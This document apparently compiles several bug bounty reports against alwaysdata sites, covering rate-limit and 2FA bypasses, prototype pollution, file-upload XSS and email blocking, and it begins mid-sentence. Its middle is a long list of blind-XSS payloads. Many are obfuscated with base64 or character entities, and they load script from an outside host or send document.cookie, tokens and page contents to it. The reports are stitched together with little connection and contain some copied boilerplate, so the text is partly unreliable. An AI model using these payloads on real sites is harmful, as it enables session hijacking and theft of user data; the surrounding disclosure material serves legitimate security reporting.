&email=example%40gmail.com%00 - and keep adding %00 everytime you are rate limited. After a while you can go back to just %00 as it resets after so long.

No real impact with just mass emailing someone a reset password link, but I thought it was worth reporting because the rate limiting bypass might exist in other areas (with the use of the null byte %00)

Thank You,

Waleed Anwar

Bypassing Two-Factor Authentication via Account Deactivation

Hello Team,

I hope you are doing well. I found a serious issue in https://admin.alwaysdata.com which Bypassing Two-Factor Authentication via Account Deactivation.

The vulnerability arises from a logical flaw in the account recovery and 2FA enforcement processes. Specifically, after deactivating an account, users can takeover and log in without being prompted for 2FA. The 2FA mechanism, which is designed to provide an additional layer of security, is effectively bypassed.

Steps To Reproduce

Go to https://admin.alwaysdata.com and make signup example@gmail.com

Then, go to admin detail section add some details first name, last name etc and activate 2fa.

After, activating 2fa submit and save the details.

After, saving the details click on Delete this profile button on right top side and submit the message what you want.

Your account is deleted without asking password confirmation and 2fa is also deactivated and attacker can easily takeover the account.

Note: This is possible only when user is forgot to login off the account at cafe or something else pc and recreate a account with this email address and reconfigure a 2fa to takeover the account.

Regard,

Waleed Anwar

Description: The registration page at https://www.alwaysdata.com/en/register/ requires mandatory credit card validation ("Validation par carte bancaire") to proceed, as noted in the warning: "Pour continuer l'inscription et afin de limiter les abus vous devez impérativement valider une carte bancaire." This is likely an abuse prevention measure.

However, the Google OAuth flow at https://www.alwaysdata.com/oauth/google/login/ allows bypassing this requirement. By signing in with a Google account and completing the CAPTCHA, I created a new account without providing or validating a credit card.

Steps to Reproduce: 1. Visit https://www.alwaysdata.com/en/register/.
2. Observe the mandatory credit card validation step ("Valider ma carte" button).
3. Navigate to https://www.alwaysdata.com/oauth/google/login/.
4. Sign in with a Google account .
5. Confirm the creation of a new account without credit card validation.

Impact: - This allows bypassing the intended abuse prevention mechanism, potentially enabling multiple free account creations without validation.
- The impact is limited to potential resource consumption (e.g., bandwidth, storage) if scaled, with no access to customer data or core platform architecture.

'"><script src=https://xss0r.com/c/sabeesh></script>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; onerror=eval(atob(this.id))>
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss0r.com/c/sabeesh\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6; autofocus>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs6;>
"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104;&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "xss0r.com/c/sabeesh");a.send();</script>
<script>$.getScript("xss0r.com/c/sabeesh")</script>
var a=document.createElement("script");a.src="https://xss0r.com/c/sabeesh";document.body.appendChild(a);
'"></Title/</StYle/</TeXtarEa/</ScRipt/</NoScRiPt/</SeLeCt/</OpTiOn/</Svg/''"><svg/onload=javascript:eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzMHIuY29tL2Mvc2FiZWVzaCI7ZG9jdW1lbnQuYm9keS5hcHBlbmQoYSk7')) '"><img src=x onerror="eval(atob('dmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTthLnNyYyA9ICdodHRwczovL3hzczByLmNvbS9jL3NhYmVlc2gnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7'))">
"><img src=&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#48;&#114;&#46;&#99;&#111;&#109;&#47;&#99;&#47;&#115;&#97;&#98;&#101;&#101;&#115;&#104; onerror=&#101;&#118;&#97;&#108;&#40;&#97;&#116;&#111;&#98;&#40;&#116;&#104;&#105;&#115;&#46;&#115;&#114;&#99;&#41;&#41;>
'"<img src="https://xss0r.com/c/sabeesh" onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='this.src="https://xss0r.com/c/sabeesh"'>
'"<img src=x onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(document.body.innerHTML),mode:"no-cors"})'>
'"<iframe src='javascript:window.location="https://xss0r.com/c/sabeesh"'></iframe>
'"<iframe srcdoc='<script>window.location="https://xss0r.com/c/sabeesh"</script>'></iframe>
'"<iframe srcdoc='<script>fetch("https://xss0r.com/c/sabeesh",{method:"POST",body:btoa(parent.document.body.innerHTML),mode:"no-cors"})</script>'></iframe>
'"<object data='javascript:window.location="https://xss0r.com/c/sabeesh"'></object>
<input onfocus='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})' autofocus>
'"<script type="text/javascript" src="https://xss0r.com/c/sabeesh"></script>
'"<script type="module" src="https://xss0r.com/c/sabeesh"></script>
'"<script nomodule src="https://xss0r.com/c/sabeesh"></script>
javascript:window.location="https://xss0r.com/c/sabeesh"
javascript:fetch("https://xss0r.com/c/sabeesh")
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"<img src="https://xss0r.com/c/sabeesh" onerror="this.src='https://xss0r.com/c/sabeesh'">
'"<svg/onload="window.location.href='https://xss0r.com/c/sabeesh'">
'"<audio src onerror='fetch("https://xss0r.com/c/sabeesh",{method:"POST",mode:"no-cors"})'>
'"<script>new Image().src="https://xss0r.com/c/sabeesh"</script>
'"<form action="https://xss0r.com/c/sabeesh" method="POST"><input name="data" value=""></form><script>document.forms[0].submit();</script>
'"<iframe src="javascript:fetch('https://xss0r.com/c/sabeesh')"></iframe>
'"<link rel="stylesheet" href="https://xss0r.com/c/sabeesh" onerror='fetch("https://xss0r.com/c/sabeesh")'>
'"<meta http-equiv="refresh" content="0;url=https://xss0r.com/c/sabeesh">
'"<object data="https://xss0r.com/c/sabeesh" onerror='this.data="https://xss0r.com/c/sabeesh"'></object>
javascript:fetch("https://xss0r.com/c/sabeesh")
'"<svg/onload="fetch('https://xss0r.com/c/sabeesh'">
{constructor.constructor('fetch("https://xss0r.com/c/sabeesh"')()}
'"<img src=x onerror="fetch('https://xss0r.com/c/sabeesh')">
'"></script></title></textarea><script src=https://xss0r.com/c/sabeesh></script>
'"<svg/onload='var a="fetch";var b="https://xss0r.com/c/sabeesh"; setTimeout(a+"(b)",1000)'>
'"<iframe src="javascript:setTimeout('fetch(\"https://xss0r.com/c/sabeesh\")', 1000)"></iframe>
'"<form id='xss'><button form='xss' formaction='javascript:fetch("https://xss0r.com/c/sabeesh")'>Click Me</button></form>
'/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
'"><img src=x onerror=setTimeout(String.fromCharCode(102,101,116,99,104)+'("https://xss0r.com//sabeesh")', 0)>
'"><script>'/*'/*`/*–><svg onload=fetch("https://xss0r.com/c/sabeesh")></script>
'"?><svg/onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
<img src=x onerror="setTimeout(function(){fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)},10)">
<input autofocus onfocus="fetch('https://xss0r.com/c/sabeesh?token='+document.cookie)">
<iframe src="javascript:void(0)" onload="fetch('https://xss0r.com/c/sabeesh?url='+location.href)"><!–" –>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
ibrahim'"<script src=https://xss0r.com/c/sabeesh></script>
ibro%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src=https://xss0r.com/c/sabeesh></scrIpt>
/*'/*`/*–></noscript></title></textarea></style></template></noembed></script>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
-'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
email%5D=zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
<input onmouseover="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)">
'"><Svg Src=xss0r.com/c/sabeesh/s OnLoad=import(this.getAttribute('src')+0)>
'"><Img Src=xss0r.com/c/sabeesh/x Onload=import(src+0)>
'/*\'/*"/*\"/*</Script><Input/AutoFocus/OnFocus=/**/(import(/https:https://xss0r.com/c/sabeesh\00?1=1290/.source))>
\"><input autofocus nope="%26quot;x%26quot;" onfocus="frames.location='https://xss0r.com/c/sabeesh?c='+Reflect.get(document,'coo'+'kie')">
\"></script><img src="x" onerror="with(document)body.appendChild(createElement('script')).src='https://xss0r.com/c/sabeesh'">
<p><img src="https://xss0r.com/c/sabeesh" border="0" />–&gt;</p>
'"></title></textarea></script></style></noscript><script src=https://xss0r.com/c/sabeesh></script>
<script>$.getScript("https://xss0r.com/c/sabeesh")</script>
‘;"/></textarea></script><script src=xss0r.com/c/sabeesh>
zer0_sec+1%22%3E%3Cscript+src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E%40ibro1337%40gmail.com
zer0_sec 1"><script src="https://xss0r.com/c/sabeesh"></script>@ibro1337@gmail.com ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><script src="https://xss0r.com/c/sabeesh"></script>
{globalThis.constructor("fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)")()}
ibro1337@gmail.com<!–" –><script src=https://xss0r.com/c/sabeesh></script>
ibro1337%40gmail.com%22%3E%3Cscript%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
ibro1337@gmail.com"><svg onload="fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)"></svg>
<iframe src="https://xss0r.com" onload="fetch('https://xss0r.com/c/sabeesh?cookie=' + document.cookie)"></iframe>
</script><Iframe SrcDoc="><script src=https://xss0r.com/c/sabeesh></script>">
%3C%2Fscript%3E%3CIframe%20SrcDoc%3D%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E%22%3E
%253C%252Fscript%253E%253CIframe%2520SrcDoc%253D%2522%253E%253Cscript%2520src%253Dhttps%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%253E%253C%252Fscript%253E%2522%253E
–></tiTle></stYle></texTarea></scrIpt>"'><scrIpt src="https://xss0r.com/c/sabeesh"></scrIpt>
–%3E%3C%2FtiTle%3E%3C%2FstYle%3E%3C%2FtexTarea%3E%3C%2FscrIpt%3E%22%2F%2F%27%2F%2F%3E%3CscrIpt%20src%3D%22https%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%22%3E%3C%2Fscript%3E
–%253E%253C%252FtiTle%253E%253C%252FstYle%253E%253C%252FtexTarea%253E%253C%252FscrIpt%253E%2522%252F%252F%2527%252F%252F%253E%253CscrIpt%2520src%253D%2522https%253A%252F%252Fxss0r.com%252Fc%252Fsabeesh%2522%253E%253C%252Fscript%253E
javascript:%27%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
'"><script src=https://xss0r.com/c/sabeesh></script><img src=x onerror=fetch('https://xss0r.com/c/sabeesh?c='+document.cookie)>
javascript:%22%3E%3Cscript%20src%3Dhttps%3A%2F%2Fxss0r.com%2Fc%2Fsabeesh%3E%3C%2Fscript%3E
javascript:%27%22%3E%3Csvg%20onmouseover%3D%22fetch('https://xss0r.com/c/sabeesh?data='+document.cookie)%22%3E%3C%2Fsvg%3E
javascript:/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/–>&lt;svg/onload=/*<html/*/onmouseover=fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)>
javascript:</script></textarea></style></noscript></noembed></script></template>&lt;svg/onload=/*fetch('https://xss0r.com/c/sabeesh?cookie='+document.cookie)/*–><html */ onmouseover=alert()//>

Bug Title: Prototype Pollution Vulnerability Report
Weakness: Prototype Pollution
Hello Web Security Team,

I am reporting a security vulnerability on the website https://www.alwaysdata.com/en/ The website is affected by prototype pollution due to the usage of an outdated jQuery version.

Description:
The website uses jQuery version 1.12.4, which is susceptible to prototype pollution. This vulnerability allows an attacker to inject properties into Object.prototype, affecting all objects across the application. Notably, the "deep" version of jQuery $.extend is impacted.

Steps To Reproduce:
1. To check if the application is vulnerable to prototype pollution attack we can use the below command:

command: $.extend(true, {}, JSON.parse('{"__proto__":{"polluted":"hacked"}}'));

2. Now let's open the application URL: https://www.alwaysdata.com/en/ and enter into the developer options Console tab and paste the command and hit enter.
Notice that the result contains an option with polluted: hacked

Image:
https://ibb.co/VxyNw4z

Impact:
Prototype pollution introduces a severe risk to the application. An attacker, upon exploiting this vulnerability, can manipulate default values for options passed to functions with an "options" argument—a common pattern in JavaScript applications. The impact escalates based on the application's use of such options, potentially leading to unauthorized modifications and alterations in the application's behavior.

Supporting Material/References:
https://hackerone.com/reports/380873 https://hackerone.com/reports/454365 The vulnerability has been verified on jQuery version 1.12.4, and it is likely to affect older versions.
The issue is present when using Chrome latest version.

Fix:
Update latest version of jquery 3.7.1 is the best remediation as it has no known vulnerabilities at the time of this writing

Hello Web Security
Severity: Medium
Domain: https://admin.alwaysdata.com

Description :
A security researcher discovered that after resetting a password, the user was automatically logged in. As such, compromising a legitimate password reset link (via referrer token leakage or a similar issue) could lead to compromising the account since the user would not be forced to log in after resetting their password.

Proof Of Concept:
1.Go to this website:(https://admin.alwaysdata.com)
2.Send the password reset link to your email.
3.Go to your email and open the link.
4.Set a new password.
5.Boom.Automatically logged in.

Fix:
OWASP forgot password recommendations(https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet) suggest a better approach, which we have now implemented.

Thanks.

Reference :
https://hackerone.com/reports/164648 https://hackerone.com/reports/255020

### Bug Report: XSS Vulnerability via File Upload

- Bug Type: Cross-Site Scripting (XSS)
- Affected Site: https://admin.alwaysdata.com

#### Steps to Reproduce
1. Log in to the admin panel at [https://admin.alwaysdata.com](https://admin.alwaysdata.com).
2. Navigate to the Feedback section.
3. Create a new ticket for feedback.
4. Attach a file that contains an embedded XSS payload
5. Submit the feedback with the file attached.
6. After submission, open the file in the ticket view.
7. Observe that a popup appears as a result of the XSS payload execution.

#### Impact
- Security Risk: This vulnerability allows attackers to execute arbitrary JavaScript code in the context of the user's browser.
- Potential Exploits: This can lead to session hijacking, redirecting users to malicious sites, or stealing sensitive user information.
- Severity: High – Since the attack leverages file uploads and can be triggered by opening the file in the browser, it could potentially impact many users who interact with the file.

#### Description
The issue occurs when a file is uploaded with a malicious XSS payload embedded. The uploaded file is not sanitized or filtered correctly, allowing the script to execute when viewed. This vulnerability could lead to a serious security breach, compromising user accounts and system data.

Bug Report: Vulnerability in User Addition Feature Leading to Email Blockage Exploit

Subject: Misconfiguration in User Addition Feature - Enables Permanent Blockage of Employee/User Emails

To:
Security Team
alwaysdata

Description:
The "Add a User" feature in your application has a critical misconfiguration that allows attackers to exploit email handling mechanisms. The vulnerability permits any email address, including sensitive ones like victim@alwaysdata.com or employee@alwaysdata.com, to be registered by an attacker under their account. This issue occurs irrespective of whether the victim is an actual user or employee of alwaysdata.
Key Problem:
Once an attacker registers email addresses to their account, the application erroneously considers these emails as "already in use." Consequently, legitimate users or employees are unable to:
• Register with their own email addresses.
• Recover passwords using the "Forgot Password" feature.
This creates a significant denial of service for legitimate users, especially for employee emails or those critical to operations.

Steps to Reproduce:
1. Login to the Application:
o Attacker logs into their account on alwaysdata.
2. Access the "Add a User" Feature:
o Navigate to the "Add a User" section.
3. Add Any Email Address:
o Enter any target email (e.g., victim@alwaysdata.com, employee@alwaysdata.com, or database_admin@alwaysdata.com) and add it as a user.
4. Observe the Impact:
o The entered email is stored in the database, associating it with the attacker’s account.
o Legitimate users or employees attempting to register with their email or recover their account using "Forgot Password" are blocked as their emails are flagged as already registered.

Business Impact:
1. Disruption of Operations:
Employees using critical emails (e.g., employee@alwaysdata.com, support@alwaysdata.com) are prevented from accessing the platform. This can halt workflows and damage operational continuity.
2. Customer Impact:
Legitimate customers with hijacked email registrations are blocked from using the platform, leading to frustration and loss of trust.
3. Potential Abuse:
o Attacker could pre-register a large list of potential or known email addresses (e.g., 100+ victims).
o Targeted denial of service campaigns against specific users or employees.
4. Reputational Damage:
Affected users may view alwaysdata as insecure and prone to misuse.

Severity:
Moderate to High

Remediation Steps:
1. Email Validation:
Restrict the registration of emails ending with @alwaysdata.com to prevent abuse of employee addresses.
2. Duplicate Email Handling:
Implement a verification mechanism to check if an email is legitimately registered to an account and ensure users can still register or recover their accounts.
3. Audit "Add a User" Logic:
Validate and sanitize inputs to avoid unauthorized addition of unrelated or sensitive emails.
4. Email Ownership Verification:
Mandate email verification for all newly added users before finalizing their association with an account.

Video POC:
A detailed POC has been attached showcasing the reproduction of this bug and its consequences.
https://drive.google.com/file/d/1TBi7njRCCsqkHhAEri7viUmyGot1Pyf5/view?usp=sharing

URL:https://www.alwaysdata.com/en/sitemap.xml

🔍 Issue Summary:
The sitemap XML at the above URL is accessible but lacks associated XSL styling, causing the browser to display a raw XML tree with a message stating:

"This XML file does not appear to have any style information associated with it. The document tree is shown below."

💡 Expected Behavior:
The sitemap should either:

Include a reference to an XSL stylesheet to format the output for human readability, OR

Deliver plain XML without browser-rendered HTML or inline styles/CSS that could lead to unintended display artifacts.

📋 Actual Behavior:
The XML document is correctly structured and functional.

However, extraneous CSS code appears to be injected into the XML, potentially due to frontend theme/style conflicts or incorrect server handling.

🧪 Steps to Reproduce:
Navigate to https://www.alwaysdata.com/en/sitemap.xml in any browser.

Observe the browser warning about missing style information.

Scroll down to see unexpected CSS classes and style rules (e.g., .aifnmjmchg.light, :host([class=light])), which are not part of a standard sitemap file.

🧠 Root Cause Hypothesis:
The web server may be unintentionally injecting global CSS or theme-related JavaScript/CSS into all responses, including .xml files.

This could be a misconfigured template handler or inclusion of global styles across all content types.

🎯 Suggested Fix:
Ensure that the sitemap endpoint delivers pure XML with proper MIME type (application/xml) without CSS injection.

Optionally, provide an XSL stylesheet for better browser presentation if needed.

Review middleware or template rendering logic that might be appending global assets to all responses.

✅ Impact:
SEO crawlers are likely unaffected.

However, human readability is degraded, and it may hint at larger asset delivery misconfigurations.

Potentially impacts maintainability, developer trust, or bug bounty program quality.